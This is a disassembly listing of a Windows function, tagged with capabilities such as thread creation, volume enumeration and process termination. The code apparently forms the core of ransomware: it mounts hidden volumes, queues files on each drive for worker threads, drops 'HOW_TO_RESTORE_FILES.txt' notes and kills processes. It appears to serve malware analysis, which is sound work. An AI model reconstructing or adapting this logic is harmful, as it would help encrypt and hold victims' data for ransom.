Function at 0x140008270
Capabilities:
Create thread
Enumerate disk volumes
Get disk information
Get disk size
Get file attributes
Get system information on windows
Terminate process

Disassembly:
push rbp
push rdi
push r13
push r15
lea rbp, [rsp - 0xea8]
sub rsp, 0xfa8
mov rax, qword [0x140067040]
xor rax, rsp
mov qword [rbp + 0xe80], rax
mov r15, rdx
mov qword [rbp - 0x18], rdx
xor edx, edx
mov byte [rsp + 0x38], r8b
mov r13, r9
mov qword [rsp + 0x70], rcx
mov rdi, rcx
mov r9d, 0xa
xor r8d, r8d
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [0x14006a268], rax
test rax, rax
je 0x1400090c3
mov qword [rsp + 0xfe0], rbx
lea rcx, [rbp + 0x60]
mov qword [rsp + 0xfa0], rsi
mov qword [rsp + 0xf98], r12
mov qword [rsp + 0xf90], r14
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x80]
xor r12d, r12d
mov qword [rbp - 0x20], r12
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
cmp eax, 1
ja 0x140008329
mov r14d, 2
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], r14d
jmp 0x140008353
cmp eax, 0xa
jbe 0x140008340
mov r14d, 0xa
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], r14d
jmp 0x140008353
lea r14d, [rax - 1]
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], r14d
test r14d, r14d
je 0x1400083ab
mov ebx, r14d
nop word [rax + rax]
mov qword [rsp + 0x28], r12
lea r8, [0x140007720]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x28]
mov qword [rsp + 0x60], rax
cmp rdx, qword [rbp - 0x20]
je 0x140008397
mov qword [rdx], rax
add qword [rbp - 0x28], 8
jmp 0x1400083a5
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x30]
call fcn.140011be0
sub rbx, 1
jne 0x140008360
lea rax, [0x1400073b0]
mov qword [rsp + 0x28], r12
lea r9, [rbp - 0x48]
mov qword [rbp - 0x40], rax
lea r8, [fcn.140008060]
mov qword [rbp - 0x48], rdi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov word [rbp + 0x260], r12w
mov r8d, 0x206
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x262]
call fcn.140046c00
mov edx, 0x104
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000853b
xor edx, edx
lea rcx, [rbp + 0x470]
mov r8d, 0x208
call fcn.140046c00
lea r9, [rbp - 0x38]
mov dword [rbp - 0x38], r12d
mov r8d, 0x104
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [rbp - 0x38], 1
mov ebx, 0x43
jne 0x14000849a
nop word [rax + rax]
lea rdx, [rbp + 0x260]
mov word [rbp + 0x230], bx
lea rcx, [rbp + 0x230]
mov dword [rbp + 0x232], 0x5c003a
mov word [rbp + 0x236], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x14000849a
inc bx
cmp bx, 0x5a
jbe 0x140008460
mov r15d, 0x43
mov r8d, 0x104
lea rdx, [rbp + 0x260]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea r9, [rbp - 0x38]
mov r8d, 0x104
lea rdx, [rbp + 0x470]
mov edi, eax
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x14000852a
cmp dword [rbp - 0x38], 1
jne 0x14000852a
movzx ebx, r15w
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x260]
mov word [rbp + 0x238], bx
lea rcx, [rbp + 0x238]
mov dword [rbp + 0x23a], 0x5c003a
mov word [rbp + 0x23e], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x14000852a
inc bx
cmp bx, 0x5a
jbe 0x1400084f0
test edi, edi
jne 0x1400084a0
mov r15, qword [rbp - 0x18]
mov r14d, dword [rsp + 0x34]
mov ebx, 0x41
movabs rsi, 0x492492492492492
nop word [rax + rax]
movzx edi, bx
lea r8, [0x14005ca78]
mov r9d, edi
lea rcx, [rbp + 0x240]
mov edx, 0xa
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140008695
mov r9d, edi
mov qword [rbp - 0x58], r12
lea r8, [0x14005ca88]
mov qword [rbp - 0x18], r12
mov edx, 0xa
mov qword [rbp - 0x10], r12
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp - 0x10]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rdi, qword [0x14006a330]
mov rax, qword [rbp - 0x18]
mov rcx, rdi
sub rax, qword [rbp - 0x10]
mov qword [rbp - 0x68], rax
mov rax, qword [rdi + 8]
mov qword [rbp - 0x60], r12
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], r12d
cmp byte [rax + 0x19], 0
jne 0x14000862a
nop word [rax + rax]
mov qword [rsp + 0x48], rax
cmp word [rax + 0x20], bx
jae 0x140008616
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x50], r12d
jmp 0x140008624
mov rcx, rax
mov dword [rsp + 0x50], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140008600
cmp byte [rcx + 0x19], 0
jne 0x140008636
cmp bx, word [rcx + 0x20]
jae 0x140008695
cmp qword [0x14006a338], rsi
je 0x1400090e6
mov ecx, 0x38
call fcn.14002398c
movups xmm0, xmmword [rbp - 0x68]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [0x14006a330]
movups xmmword [rax + 0x28], xmm0
mov word [rax + 0x20], bx
movups xmm0, xmmword [rsp + 0x48]
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
movaps xmmword [rbp - 0x80], xmm0
mov word [rax + 0x18], 0
call fcn.140012000
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], r14d
jmp 0x140008699
mov eax, dword [rsp + 0x30]
inc bx
cmp bx, 0x5a
jbe 0x140008550
mov rbx, qword [r13]
mov r14, qword [r13 + 8]
cmp rbx, r14
je 0x14000887f
mov r15d, dword [rsp + 0x34]
nop dword [rax]
cmp qword [rbx + 0x18], 7
mov rcx, rbx
jbe 0x1400086cd
mov rcx, qword [rbx]
mov edx, 0x31
xor r9d, r9d
mov edi, eax
mov esi, r15d
lea r8d, [rdx - 0x30]
call fcn.140007a60
mov eax, dword [rsp + 0x30]
add rbx, 0x20
cmp rbx, r14
jne 0x1400086c0
mov r15, qword [r13 + 8]
mov rbx, qword [r13]
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x30], edi
cmp rbx, r15
je 0x140008bc3
mov dword [rsp + 0x34], esi
lea r13, str.HOW_TO_RESTORE_FILES.txt
mov dword [rsp + 0x30], edi
mov r12, 0xffffffffffffffff
nop
cmp qword [rbx + 0x18], 7
mov rcx, rbx
jbe 0x14000872d
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0x10
mov rax, qword [rbx + 0x18]
je 0x14000875d
mov rcx, rbx
cmp rax, 7
jbe 0x140008748
mov rcx, qword [rbx]
mov edx, 0x31
xor r9d, r9d
xor r8d, r8d
call fcn.140007a60
jmp 0x14000886a
mov rsi, rbx
cmp rax, 7
jbe 0x140008769
mov rsi, qword [rbx]
mov r8d, 4
lea rdx, str.._
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [rsi + 8]
cmovne rcx, rsi
movzx r14d, word [rcx]
mov ecx, 0x30
call fcn.14002b43c
mov rdi, rax
test rax, rax
je 0x14000886a
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], r14w
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.14002b43c
mov qword [rdi + 0x20], rax
test rax, rax
je 0x1400087ed
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14006a268]
mov r9, rdi
xor r8d, r8d
mov dword [rdi + 0x2c], 1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140008854
lock inc dword [0x14006a260]
lock inc dword [0x14006a2dc]
mov ecx, 0x2000
call fcn.14002b43c
mov rdi, rax
test rax, rax
je 0x14000886a
mov r9, rsi
mov qword [rsp + 0x20], r13
lea r8, str._s__s
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call fcn.1400075a0
jmp 0x140008862
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140008862
call fcn.14002b428
mov rcx, rdi
call fcn.14002b428
add rbx, 0x20
cmp rbx, r15
jne 0x140008720
xor r12d, r12d
jmp 0x140008bc3
test r15, r15
je 0x1400089ca
mov r8, r15
lea rcx, [rbp + 0x680]
mov edx, 0x400
call fcn.140030fb8
test rax, rax
je 0x1400089c2
movabs rdi, 0x100002600
nop
lea rax, [rbp + 0x680]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400088c0
test ebx, ebx
jle 0x14000895c
mov edx, r12d
movsxd r9, ebx
mov r8, r12
mov rcx, r12
nop
movzx eax, word [rbp + rcx*2 + 0x680]
cmp eax, 0x20
ja 0x140008900
bt rdi, rax
jae 0x140008900
inc edx
inc r8
inc rcx
cmp rcx, r9
jl 0x1400088e0
sub ebx, edx
lea rdx, [rbp + 0x680]
lea rdx, [rdx + r8*2]
lea eax, [rbx - 1]
movsxd rcx, eax
test eax, eax
js 0x14000892e
movzx eax, word [rdx + rcx*2]
cmp eax, 0x20
ja 0x14000892e
bt rdi, rax
jae 0x14000892e
dec ebx
sub rcx, 1
jns 0x140008917
lea rax, [rbp + 0x680]
cmp rdx, rax
jbe 0x140008950
test ebx, ebx
jle 0x140008950
movsxd r8, ebx
lea rcx, [rbp + 0x680]
add r8, r8
call fcn.140046fc0
movsxd rax, ebx
mov word [rbp + rax*2 + 0x680], r12w
mov r8d, 4
lea rdx, str.._
lea rcx, [rbp + 0x680]
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
mov edx, 0x31
lea rcx, [rbp + 0x680]
xor r9d, r9d
lea r8d, [rdx - 0x30]
call fcn.140007a60
mov edx, 0x31
lea rcx, [rbp + 0x680]
xor r9d, r9d
xor r8d, r8d
call fcn.140007a60
mov r8, r15
lea rcx, [rbp + 0x680]
mov edx, 0x400
call fcn.140030fb8
test rax, rax
jne 0x1400088b0
mov rcx, r15
call fcn.140030154
cmp byte [rsp + 0x38], 0
jne 0x140008bc3
mov r14d, r12d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r13d, 0x41
mov esi, eax
movzx edi, r13w
nop word [rax + rax]
test sil, 1
je 0x140008a84
mov ecx, 0x18
call fcn.14002b43c
mov rbx, rax
test rax, rax
je 0x140008a84
movzx r15d, di
lea r8, [0x14005ca78]
mov r9d, r15d
mov dword [rax + 0x14], 1
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140008a84
mov r9d, r15d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r12
lea r8, [0x140007eb0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, r14d
inc r14d
mov qword [rbp + rcx*8 + 0x90], rax
inc di
shr esi, 1
cmp di, 0x5a
jbe 0x1400089f0
mov r9d, 0xffffffff
lea rdx, [rbp + 0x90]
mov r8d, 1
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test r14d, r14d
je 0x140008ad3
lea rbx, [rbp + 0x90]
mov edi, r14d
nop
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, 1
jne 0x140008ac0
mov esi, r12d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
nop
test dil, 1
je 0x140008b6f
mov ecx, 0x18
call fcn.14002b43c
mov rbx, rax
test rax, rax
je 0x140008b6f
movzx r14d, r13w
lea r8, [0x14005ca78]
mov r9d, r14d
mov dword [rax + 0x14], r12d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140008b6f
mov r9d, r14d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r12
lea r8, [0x140007eb0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
inc esi
mov qword [rbp + rcx*8 + 0x160], rax
inc r13w
shr edi, 1
cmp r13w, 0x5a
jbe 0x140008ae0
mov r9d, 0xffffffff
lea rdx, [rbp + 0x160]
mov r8d, 1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x140008bc3
lea rbx, [rbp + 0x160]
mov edi, esi
nop dword [rax + rax]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, 1
jne 0x140008bb0
mov rdi, qword [0x14006b130]
xorps xmm0, xmm0
sub rdi, qword [0x14006b128]
sar rdi, 5
mov qword [rbp + 8], r12
mov qword [rsp + 0x58], r12
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rsp + 0x48], xmm0
test rdi, rdi
je 0x140008c9c
movabs rax, 0x7ffffffffffffff
cmp rdi, rax
ja 0x1400090ec
shl rdi, 5
cmp rdi, 0x1000
jb 0x140008c3e
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x1400090f2
call fcn.14002398c
test rax, rax
je 0x1400090f8
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140008c53
test rdi, rdi
je 0x140008c50
mov rcx, rdi
call fcn.14002398c
mov rbx, rax
jmp 0x140008c53
mov rbx, r12
mov rsi, qword [0x14006b130]
lea rax, [rbx + rdi]
mov rdi, qword [0x14006b128]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], rax
cmp rdi, rsi
je 0x140008c8c
mov rdx, rdi
mov rcx, rbx
call fcn.1400122e0
add rbx, 0x20
add rdi, 0x20
cmp rdi, rsi
jne 0x140008c74
mov rdx, rbx
mov rcx, rbx
call fcn.140010440
mov qword [rsp + 0x50], rbx
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x48]
call fcn.140012f90
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x50], rax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call fcn.140012420
mov rcx, qword [rbp]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x40], rax
cmp rax, rcx
je 0x140008dad
nop word [rax + rax]
mov r15, qword [rbp + 0x48]
mov r14, qword [rbp + 0x40]
mov r13d, dword [rax]
cmp r14, r15
je 0x140008d9b
cmp dword [r14], r13d
jne 0x140008d84
cmp byte [rbp + 0x38], 0
jne 0x140008d4c
mov rdi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x20]
cmp rdi, rsi
je 0x140008d4c
nop dword [rax]
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.140013a30
cmp rax, 0xffffffffffffffff
jne 0x140008d3b
add rdi, 0x60
cmp rdi, rsi
jne 0x140008d20
cmp rdi, rsi
je 0x140008d4c
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140014c50
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140008d84
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add r14, 0x28
cmp r14, r15
jne 0x140008d04
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
add rax, 4
mov qword [rsp + 0x40], rax
cmp rax, rcx
jne 0x140008cf0
lea rcx, [rbp + 0x40]
call fcn.14000cca0
mov rcx, qword [rbp + 0x30]
lea rax, vtable.serviceslist.0
mov qword [rbp + 0x10], rax
test rcx, rcx
je 0x140008dd0
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rbp + 0x18]
call fcn.140015210
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006a2e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14006b128]
mov r14, qword [0x14006b130]
cmp rbx, r14
je 0x140008eed
nop dword [rax + rax]
cmp qword [rbx + 0x18], 7
mov rsi, rbx
jbe 0x140008e1d
mov rsi, qword [rbx]
mov ecx, 0x30
call fcn.14002b43c
mov rdi, rax
test rax, rax
je 0x140008efa
xorps xmm0, xmm0
lea rdx, str.._
movups xmmword [rax], xmm0
mov r8d, 4
mov rcx, rsi
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [rsi + 8]
cmovne rcx, rsi
movzx eax, word [rcx]
mov rcx, rsi
mov word [rdi + 0x28], ax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14002b43c
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140008ecf
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14006a268]
mov r9, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140008ecf
lock inc dword [0x14006a260]
lock inc dword [0x14006a2dc]
jmp 0x140008ee0
mov rcx, qword [rdi + 0x20]
call fcn.14002b428
mov rcx, rdi
call fcn.14002b428
add rbx, 0x20
cmp rbx, r14
jne 0x140008e10
lea rcx, [0x14006a2e0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [0x14006b128]
mov rdx, qword [0x14006b130]
cmp rcx, rdx
je 0x140008f20
call fcn.140010440
mov rax, qword [0x14006b128]
mov qword [0x14006b130], rax
mov ecx, dword [0x14006a264]
mov eax, dword [0x14006a2dc]
cmp eax, ecx
jle 0x140008f4b
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x14006a264]
mov eax, dword [0x14006a2dc]
cmp eax, ecx
jg 0x140008f30
lea rax, [0x140007ef0]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x70]
mov qword [rbp - 0x58], rax
call fcn.140008060
mov rbx, qword [rsp + 0x78]
test rbx, rbx
je 0x140008f89
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x34]
test edi, edi
je 0x140008ffa
mov ebx, edi
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x14006a268]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rbx, 1
jne 0x140008fa0
mov rdx, qword [rbp - 0x30]
lea r8d, [rbx + 1]
mov ecx, dword [rsp + 0x30]
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rbx, r12
nop word [rax + rax]
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, 1
jne 0x140008fe0
jmp 0x140009012
mov rdx, qword [rbp - 0x30]
mov r9d, 0xffffffff
mov r8d, 1
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [0x14006a268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140009069
mov rdx, qword [rbp + 8]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140009058
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400090e0
call fcn.1400239d0
xorps xmm0, xmm0
mov qword [rbp + 8], r12
movdqu xmmword [rbp - 8], xmm0
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x1400090a3
mov rdx, qword [rbp - 0x20]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x14000909e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400090e0
call fcn.1400239d0
mov r14, qword [rsp + 0xf90]
mov rsi, qword [rsp + 0xfa0]
mov rbx, qword [rsp + 0xfe0]
mov r12, qword [rsp + 0xf98]
mov rcx, qword [rbp + 0xe80]
xor rcx, rsp
call fcn.1400236d0
add rsp, 0xfa8
pop r15
pop r13
pop rdi
pop rbp
ret
call fcn.14002fcf8
int3
call fcn.140006290
int3
call fcn.1400119a0
int3
call fcn.140005550
int3
call fcn.14002fcf8
int3